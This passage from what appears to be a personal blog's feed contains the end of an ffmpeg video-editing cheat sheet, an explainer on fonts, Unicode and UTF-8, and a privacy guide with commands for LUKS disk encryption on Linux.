  -filter_complex &lt;span class="s2"&gt;&amp;quot;[0:v][1:v]hstack=inputs=2[myvideo]&amp;quot;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  -map &lt;span class="s2"&gt;&amp;quot;[myvideo]&amp;quot;&lt;/span&gt; -map &lt;span class="s2"&gt;&amp;quot;0:a&amp;quot;&lt;/span&gt; wide.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You might want to scale it down and add black padding at the top and bottom:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i left.mp4 -i right.mp4 &lt;span class="se"&gt;\&lt;/span&gt;
  -filter_complex &lt;span class="s2"&gt;&amp;quot;[0:v][1:v]hstack=inputs=2[myvideo];[myvideo]scale=1920:-1,pad=1920:1080:0:270[myvideo]&amp;quot;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  -map &lt;span class="s2"&gt;&amp;quot;[myvideo]&amp;quot;&lt;/span&gt; -map &lt;span class="s2"&gt;&amp;quot;0:a&amp;quot;&lt;/span&gt; wide.mp4
:::bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Alternatively, you can crop the initial two inputs and directly produce a 1920x1080 video:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i left.mp4 -i right.mp4 &lt;span class="se"&gt;\&lt;/span&gt;
  -filter_complex &lt;span class="s2"&gt;&amp;quot;[0:v]crop=960:1080:480:0[left];[1:v]crop=960:1080:480:0[right];[left][right]hstack=inputs=2[myvideo]&amp;quot;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  -map &lt;span class="s2"&gt;&amp;quot;[myvideo]&amp;quot;&lt;/span&gt; -map &lt;span class="s2"&gt;&amp;quot;0:a&amp;quot;&lt;/span&gt; &lt;span class="m"&gt;16&lt;/span&gt;-9-video.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If one of the two videos is not correctly synced with the other one, you can delay an input. Add &lt;code&gt;-ss 00:00:0x&lt;/code&gt; before the &lt;code&gt;-i input&lt;/code&gt; that needs adjustment.&lt;/p&gt;
&lt;h1 id="put-one-video-on-top-of-another-one-overlay-alternate-between-the-two-and-use-audio-from-first-video"&gt;Put one video on top of another one (overlay), alternate between the two, and use audio from first video&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i initial.mp4 -i ontop.mp4 -filter_complex &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;[0:0][1:0]overlay=enable=&amp;#39;between(t\,19,28)&amp;#39;[myvideo];[myvideo][1:0]overlay=enable=&amp;#39;between(t\,37,45)&amp;#39;[myvideo]&amp;quot;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  -map &lt;span class="s2"&gt;&amp;quot;[myvideo]&amp;quot;&lt;/span&gt; -map &lt;span class="s2"&gt;&amp;quot;0:a&amp;quot;&lt;/span&gt; -shortest output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="replace-the-audio-track-with-another"&gt;Replace the audio track with another&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i output.mp4 -i yo.mp3 -map &lt;span class="m"&gt;0&lt;/span&gt;:0 -map &lt;span class="m"&gt;1&lt;/span&gt; -vcodec copy -acodec copy output2.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="down-scaling-a-video-from-1080p-to-720p"&gt;&lt;a href="https://trac.ffmpeg.org/wiki/Scaling%20(resizing)%20with%20ffmpeg"&gt;(Down) Scaling a video from 1080p to 720p&lt;/a&gt;&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf &lt;span class="nv"&gt;scale&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1280&lt;/span&gt;:-1 -acodec copy output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="concat-mts-files-to-mp4"&gt;Concat MTS files to MP4&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i &lt;span class="s2"&gt;&amp;quot;concat:&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;find . -type f -iname &lt;span class="s2"&gt;&amp;quot;*.ts&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;|&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; head -c -1&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; -vcodec copy -acodec aac -ab 512k -cutoff &lt;span class="m"&gt;22050&lt;/span&gt; -sn output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="reduce-the-size-of-a-video"&gt;&lt;a href="https://unix.stackexchange.com/a/337359/194594"&gt;Reduce the size of a video&lt;/a&gt;&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg -i input.mp4 -vcodec libx265 -crf &lt;span class="m"&gt;24&lt;/span&gt; -r &lt;span class="m"&gt;25&lt;/span&gt; output.mp4
&lt;span class="c1"&gt;# OR if libx265 is not supported&lt;/span&gt;
ffmpeg -i input.mp4 -vcodec libx264 -crf &lt;span class="m"&gt;24&lt;/span&gt; -r &lt;span class="m"&gt;25&lt;/span&gt; output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="resources"&gt;Resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ehret.me/ffmpeg-tips/"&gt;FFmpeg tips&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/carykh/jumpcutter"&gt;jumpcutter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"></category><category term="ffmpeg"></category><category term="linux"></category><category term="video"></category></entry><entry><title>Fonts, Typefaces And The History Of UTF-8</title><link href="https://romainpellerin.eu/fonts-typefaces-and-the-history-of-utf-8.html" rel="alternate"></link><published>2016-02-04T19:00:00+01:00</published><updated>2017-11-12T13:03:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-02-04:/fonts-typefaces-and-the-history-of-utf-8.html</id><summary type="html">&lt;p&gt;Everything about character encodings, fonts and typefaces&lt;/p&gt;</summary><content type="html">&lt;p&gt;First, let's start with the basics. &lt;a href="http://www.fastcodesign.com/3028971/whats-the-difference-between-a-font-and-a-typeface"&gt;&lt;strong&gt;What's the difference between a font and a typeface?&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Briefly, a fond is what we use whereas a typeface is what we see. But still, it's a bit more complex. I'll sum up the original article right below.&lt;/p&gt;
&lt;p&gt;In the past, analog printing was done using metal letters rolled in ink and pressed down onto a piece of paper: that was the page layout. For a given typeface (for example Garamond), there were thousands of physical metal blocks, each with the character it was meant to represent, in relief (the type face), existing in different size (10 point, 12, etc.) and different weights (bold, light, medium). Basically, a font is just a subset of a typeface. For example, bolded Garamond in 12 point was considered a different font than normal Garamond in 8 point. But nowadays, both terms can be used interchangeably. However, just in case you would need to know, a reminder could be:&lt;/p&gt;
&lt;p&gt;"&lt;em&gt;The difference between a font and a typeface is the same as that between songs and an album. The former makes up the latter.&lt;/em&gt;"&lt;/p&gt;
&lt;hr /&gt;

&lt;p&gt;Truth be told, let's now take a close look at UTF-8... Once again, I'll sum up &lt;a href="https://www.smashingmagazine.com/2012/06/all-about-unicode-utf8-character-sets/"&gt;an article&lt;/a&gt;. But before, just a quick explanation about specific terms (taken from &lt;a href="https://en.wikipedia.org/wiki/Character_encoding#Code_unit"&gt;Wikipedia&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;character&lt;/strong&gt; is a minimal unit of text that has semantic value.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;character set&lt;/strong&gt; is a collection of characters that might be used by multiple languages.
    Example: The Latin character set is used by English and most European languages, though the Greek character set is used only by the Greek language.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;coded character set&lt;/strong&gt; is a character set, where each character is assigned with a unique number.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;code point&lt;/strong&gt; is a value that can be used in a coded character set. A code point is a 32-bit integer data type, where the lower 21 bits represent a valid code point value and the upper 11 bits are 0.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, a story about Unicode and UTF-8...&lt;/p&gt;
&lt;p&gt;In the 1960's, the American Standards Association created a 7-bit encoding called &lt;em&gt;American Standard Code for Information Interchange&lt;/em&gt; (ASCII). Using 7 bits gives 128 possible characters (that was enough for all lower and upper case Latin letters, numerical digits and most punctuation marks; see an &lt;a href="http://www.asciitable.com/"&gt;ASCII table&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;A few years later, new microprocessors were created, able to process 8 bits at a time. So they used 8 bits (a byte) to store each character, giving 256 possible values, and thus leaving values from 128 to 255 spare.&lt;/p&gt;
&lt;p&gt;Then, in the 80's, Microsoft Windows introduced its own &lt;strong&gt;character set&lt;/strong&gt; (also known as &lt;em&gt;code page&lt;/em&gt;) called &lt;strong&gt;Windows-1251&lt;/strong&gt;, whose goal was to fill in those space characters (for example, 224 represents the Cyrillic letter &lt;strong&gt;a&lt;/strong&gt;). Furthermore, in the 90's, fifteen other 8 bit character sets were created to cover many different alphabets (called &lt;a href="https://en.wikipedia.org/wiki/ISO/IEC_8859"&gt;ISO-8859-1 to ISO-8859-16&lt;/a&gt;; ISO-8859-12 was abandoned). Nowadays, in web pages, if you don't provide the charset used, most web browsers will use a default one, depending on your country of residence (ISO-8859-1 will likely be used for English countries).&lt;/p&gt;
&lt;p&gt;Nevertheless, in the meantime, a &lt;strong&gt;new standard&lt;/strong&gt; called &lt;strong&gt;Unicode&lt;/strong&gt; was proposed. The purpose: to assign a unique number (known as a code point) to every letter in every language, in more than 256 slots. At the moment, we have &lt;a href="http://www.babelstone.co.uk/Unicode/unicode.html"&gt;over 120,000 code points&lt;/a&gt; and Unicode is also considered a character set itself.&lt;/p&gt;
&lt;h1 id="unicode"&gt;Unicode&lt;/h1&gt;
&lt;p&gt;The next few lies were copy-pasted from the original article.&lt;/p&gt;
&lt;p&gt;"&lt;em&gt;The first 128 Unicode code points are the same as ASCII. The range 128-255 contains currency symbols and other common signs and accented characters (aka characters with &lt;a href="https://en.wikipedia.org/wiki/Diacritic"&gt;diacritical marks&lt;/a&gt;), and much of it is borrowed ISO-8859-1. After 256 there are many more accented characters. After 880 it gets into Greek letters, then Cyrillic, Hebrew, Arabic, Indic scripts, and Thai. Chinese, Japanese and Korean start from 11904 with many others in between. This is great – no more ambiguity – each letter is represented by its own unique number.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;[...]&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note that these Unicode code points are officially written in hexadecimal preceded by U+. So the Unicode code point H is usually written as U+0048 rather than 72 (to convert from hexadecimal to decimal: 4*16+8=72).&lt;/em&gt;"&lt;/p&gt;
&lt;p&gt;Having more than 256 characters makes Unicode unable to fit into 8 bits. It could however perfectly fit into a 32 bit encoding. But &lt;strong&gt;Unicode is just a standard&lt;/strong&gt;, let's now find out which implementation (or character encoding) was designed.&lt;/p&gt;
&lt;p&gt;It's also important to mention that internally, modern web browsers use Unicode. In C or C++ there is a "wide character" (32 bit character called &lt;code&gt;wchar_t&lt;/code&gt;, an extension of C's 8 bit &lt;code&gt;char&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;So, now, the remaining problems with Unicode are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A lot of existing software and protocols send/receive and read/write 8 bit characters&lt;/li&gt;
&lt;li&gt;Using 32 bits to send/store English text would quadruple the amount of bandwidth/space required&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Several attempts were created to solve this problem such as UCS2 and UTF-16 but the winner is UTF-8 (&lt;em&gt;Universal Character Set Transformation Format 8 bit&lt;/em&gt;). &lt;strong&gt;At the moment and since several years, UTF-8 is the preferred character encoding for the Unicode standard.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="utf-8"&gt;UTF-8&lt;/h2&gt;
&lt;p&gt;"&lt;em&gt;UTF-8 is a clever. It works a bit like the Shift key on your keyboard. Normally when you press the H on your keyboard a lower case “h” appears on the screen. But if you press Shift first, a capital H will appear.&lt;/em&gt;" (copy-pasted from the original article)&lt;/p&gt;
&lt;p&gt;UTF-8 treats numbers as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0-127 as ASCII&lt;/li&gt;
&lt;li&gt;128-191 as the &lt;strong&gt;key to be shifted&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;192-247 as &lt;strong&gt;Shift keys&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;192-223 is a simple shift&lt;/li&gt;
&lt;li&gt;224-239 are like a double shift&lt;/li&gt;
&lt;li&gt;240 and over is a triple shift&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Consequently, to represent a character, you have four different ways (either on one, two, three or four bytes):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 byte: a number from 0 to 127, it will represent an ASCII character&lt;/li&gt;
&lt;li&gt;2 bytes: a sequence of &amp;lt;Shift key from 192 to 223&amp;gt; + &amp;lt;key to be shifted from 128 to 191&amp;gt;&lt;/li&gt;
&lt;li&gt;3 bytes: &amp;lt;224-239&amp;gt; + &amp;lt;128-191&amp;gt; + &amp;lt;128-191&amp;gt;&lt;/li&gt;
&lt;li&gt;4 bytes: &amp;lt;240-&amp;gt; + &amp;lt;128-191&amp;gt; + &amp;lt;128-191&amp;gt; + &amp;lt;128-191&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For example, the sequence 191 followed by 224 could never occur. Another example, taken from the original article:&lt;/p&gt;
&lt;p&gt;"&lt;em&gt;For instance, characters 208 and 209 shift you into the Cyrillic range. 208 followed by 175 is character 1071, the Cyrillic Я. &lt;a href="https://en.wikipedia.org/wiki/UTF-8#Examples"&gt;The exact calculation is (208%32)*64 + (175%64) = 1071&lt;/a&gt;.&lt;/em&gt;"&lt;/p&gt;
&lt;p&gt;"&lt;em&gt;UTF-8 is therefore a multi-byte variable-width encoding. Multi-byte because a single character like Я takes more than one byte to specify it. Variable-width because some characters like H take only 1 byte and some up to 4.&lt;/em&gt;"&lt;/p&gt;
&lt;p&gt;That makes UTF-8 backward compatible with ASCII.&lt;/p&gt;
&lt;h2 id="avoid-most-common-problems"&gt;Avoid most common problems&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Be sure to use UTF-8 on every single page of your website(s).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;meta&lt;/span&gt; &lt;span class="na"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UTF-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(best when written on top of the page, for performance concerns)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choose your font wisely because "&lt;em&gt;Unicode defines over 110,000 characters&lt;/em&gt;" and "&lt;em&gt;your browser may not have the correct font to display all of them.&lt;/em&gt;"&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Be careful when dealing with &lt;a href="http://blog.tremend.ro/2006/09/26/mysql-php-and-utf8/"&gt;MySQL to store text&lt;/a&gt; (&lt;a href="http://cahnory.tumblr.com/post/17108999879/utf-8-comment-%C3%A7a-marche"&gt;another article about it in French, also about PHP&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That's it about Unicode and UTF-8! Hope it was useful.&lt;/p&gt;
&lt;h1 id="further-reading"&gt;Further reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://utf8everywhere.org/"&gt;UTF-8 Everywhere&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sametmax.com/la-maison-des-horreurs-de-lencoding/"&gt;La maison des horreurs de l’encoding&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://reedbeta.com/blog/programmers-intro-to-unicode/"&gt;A Programmer’s Introduction to Unicode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://slides.com/benoitaverty/unicode-pour-les-nuls#/"&gt;Unicode pour les nuls&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Computers"></category><category term="font"></category><category term="typeface"></category><category term="utf8"></category><category term="unicode"></category></entry><entry><title>Yes, Privacy Matters</title><link href="https://romainpellerin.eu/yes-privacy-matters.html" rel="alternate"></link><published>2016-02-04T01:40:00+01:00</published><updated>2022-09-24T15:41:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-02-04:/yes-privacy-matters.html</id><summary type="html">&lt;p&gt;Regarding privacy, get the right tools and build a powerful computer, with a Linux-based OS&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" sandbox="allow-same-origin allow-scripts allow-popups" title="Si, vous avez quelque chose à cacher. - Numendil" src="https://video.passageenseine.fr/videos/embed/e71c6466-9085-48ca-8693-62ed014c1a96" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;em&gt;"Si ! vous avez quelque chose à cacher"&lt;/em&gt;&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/mqUInAOfBWI?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;em&gt;"La surveillance sur Internet - Fabrice Epelboin - Web2day 2014"&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;If you do care about your privacy, you'd better read what follows carefully ;). Basically, some rules of thumb to avoid common pitfalls and a few tricks to take care of your privacy as much as possible.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/lfit/itpol"&gt;Useful IT policies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Use GNU/Linux (Ubuntu-based distro are not perfect but a good start, like Xubuntu; give &lt;a href="http://exherbo.org/"&gt;exerbo&lt;/a&gt; a try if you're brave enough)&lt;/li&gt;
&lt;li&gt;Don't use binaries coming from the Internet, compile every program to the extent possible&lt;/li&gt;
&lt;li&gt;Forbid proprietary software as well - see alternatives below in this article&lt;/li&gt;
&lt;li&gt;Encrypt your whole HDD (and any other external ones) - see right below&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DO NOT INSTALL&lt;/strong&gt; Facebook nor Twitter on your Android phone (or Cyanogen)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Before starting reading this article, you might be interested in this webpage, a &lt;a href="https://wiki.archlinux.org/index.php/Disk_encryption"&gt;full documentation about how encryption works with Linux&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="secure-your-computer-and-encrypt-part-of-your-local-hard-disk-drive"&gt;Secure your computer and encrypt (part of) your local hard disk drive&lt;/h1&gt;
&lt;p&gt;First, set all possible BIOS passwords (usually one for the administrator and one for user(s); each password will give different rights for the BIOS, for example sensitive settings will be accessible to the administrator only).&lt;/p&gt;
&lt;p&gt;Secondly, set HDD passwords from the BIOS panel (again, one for admins, one for user, both have the same purpose and rights: they kind of unlock the HDD, allowing it to be read and written).&lt;/p&gt;
&lt;h2 id="full-disk-encryption"&gt;Full disk encryption&lt;/h2&gt;
&lt;p&gt;Then, to encrypt your whole disk, you have 3 options:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use the *Ubuntu built-in installer to encrypt the whole disk, erasing &lt;strong&gt;EVERYTHING&lt;/strong&gt; on the disk.&lt;/li&gt;
&lt;li&gt;Use the *Ubuntu built-in installer with Gparted to encrypt the whole disk, more flexible (select &lt;em&gt;something else&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;DIY. It allows you to &lt;a href="http://askubuntu.com/questions/293028/how-can-i-install-ubuntu-encrypted-with-luks-with-dual-boot"&gt;keep a dual boot installation&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I would recommend going with the 1., but if you're interested, &lt;a href="https://thesimplecomputer.info/full-disk-encryption-with-ubuntu"&gt;have a deeper look at thoses 3 options&lt;/a&gt;. Here is &lt;a href="http://www.tecmint.com/install-debian-8-with-luks-encrypted-home-var-lvm-partitions/"&gt;another tutorial&lt;/a&gt; to do it with Debian (not a *Ubuntu disto).&lt;/p&gt;
&lt;p&gt;In any case, here is how to write a new Xubuntu image on a USB stick:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;lsblk &lt;span class="c1"&gt;# To identify the USB stick&lt;/span&gt;
sudo dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/home/user/Downloads/xubuntu-15.10-desktop-amd64.iso &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sdb &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1M &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo sync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Please notice that with LUKS encryption, &lt;a href="https://twopointfouristan.wordpress.com/2011/04/17/pwning-past-whole-disk-encryption/"&gt;your computer is still vulnerable as long as you have a boot partition unencrypted&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="home-encryption-using-the-filesystem-called-ecryptfs"&gt;&lt;code&gt;/home&lt;/code&gt; encryption (using the filesystem called eCryptfs)&lt;/h2&gt;
&lt;p&gt;Do it while installing your fresh new *Ubuntu. Otherwise, you can still &lt;a href="http://askubuntu.com/questions/366749/enable-disk-encryption-after-installation"&gt;do it later&lt;/a&gt; using &lt;a href="http://www.howtogeek.com/116032/how-to-encrypt-your-home-folder-after-installing-ubuntu/"&gt;&lt;code&gt;ecryptfs-migrate-home&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="encrypt-external-hdd-with-dm-crypt-and-luks"&gt;Encrypt external HDD with &lt;code&gt;dm-crypt&lt;/code&gt; and LUKS&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Find the correct device (eg. &lt;code&gt;/dev/sdb1&lt;/code&gt; as a second internal SATA-HDD) and umount it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo aptitude update &lt;span class="p"&gt;;&lt;/span&gt; sudo aptitude install cryptsetup
sudo modprobe dm-crypt sha256 aes &lt;span class="c1"&gt;# Enable modules, might be already done&lt;/span&gt;
lsblk
sudo umount /dev/sdb1
sudo dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/urandom &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sdb &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4K &lt;span class="c1"&gt;# Optional, add obfuscation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create one big partition using the whole space (system must be Linux):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo fdisk /dev/sdb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Encrypt the partition using LUKS:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo cryptsetup --verify-passphrase -c aes-xts-plain64 -s &lt;span class="m"&gt;512&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     -h sha256 luksFormat /dev/sdb1 &lt;span class="c1"&gt;# 512-bit AES encryption&lt;/span&gt;
     &lt;span class="c1"&gt;# with 256-bit SHA hashing algorithm&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create the filesystem:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo cryptsetup luksOpen /dev/sdb1 myhdd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Format it and test mounting:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo mkfs.ext4 /dev/mapper/myhdd -L &amp;lt;LABEL&amp;gt; -m &lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="c1"&gt;# -m specifies the percentage of the filesystem blocks reserved&lt;/span&gt;
&lt;span class="c1"&gt;# for the super-user&lt;/span&gt;
mkdir /mnt/hdd
mount /dev/mapper/myhdd /mnt/hdd
df -H
umount /mnt/hdd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Close container:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo cryptsetup luksClose /dev/mapper/myhdd
sudo eject /dev/sdb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optional step, after disconnecting and reconnecting the device:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo chown user:user /media/disk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can check the partition using&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;fsck -vy /dev/mapper/myhdd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, you might want to backup the LUKS headers or add or change keys (passwords), if so look some keywords up on the Internet, like &lt;em&gt;&lt;code&gt;cryptsetup&lt;/code&gt;&lt;/em&gt; plus &lt;em&gt;&lt;code&gt;luksHeaderBackup&lt;/code&gt;&lt;/em&gt; or &lt;em&gt;&lt;code&gt;luksHeaderRestore&lt;/code&gt;&lt;/em&gt; or &lt;em&gt;&lt;code&gt;isLuks&lt;/code&gt;&lt;/em&gt; or &lt;em&gt;&lt;code&gt;luksDump&lt;/code&gt;&lt;/em&gt; or &lt;em&gt;&lt;code&gt;luksAddKey&lt;/code&gt;&lt;/em&gt; or &lt;em&gt;&lt;code&gt;luksRemoveKey&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="automount-encrypted-hdds-with-luks-on-bootup"&gt;Automount encrypted HDDs with LUKS on bootup&lt;/h2&gt;
&lt;p&gt;In &lt;code&gt;/etc/crypttab&lt;/code&gt;, add:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mycryptedhdd    UUID=00000000-0000-0000-0000-000000000000   none    luks,tries=3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can find the UUID using &lt;code&gt;blkid /dev/sdb&lt;/code&gt;. You can also directly enter the path &lt;code&gt;/dev/sdb&lt;/code&gt;. &lt;em&gt;none&lt;/em&gt; means there's no keyfile, you'll have to type the password. &lt;em&gt;tries&lt;/em&gt; is the number or tries you have.&lt;/p&gt;
&lt;p&gt;Then, in &lt;code&gt;/etc/fstab&lt;/code&gt;, add:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/dev/mapper/mycryptedhdd     /mnt/mounteddirectory    ext4      defaults    0   0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;mycryptedhdd&lt;/em&gt; must be the same name used as before. &lt;em&gt;/mnt/mounteddirectory&lt;/em&gt; is where the encrypted disk will be available. &lt;em&gt;ext4&lt;/em&gt; is the filesystem used on the disk (see step 5). First 0 means the device will not be backed up by the dump utility, second 0 means the device will never be automatically checked by the &lt;code&gt;fsck&lt;/code&gt; utility.&lt;/p&gt;
&lt;p&gt;You're good!&lt;/p&gt;
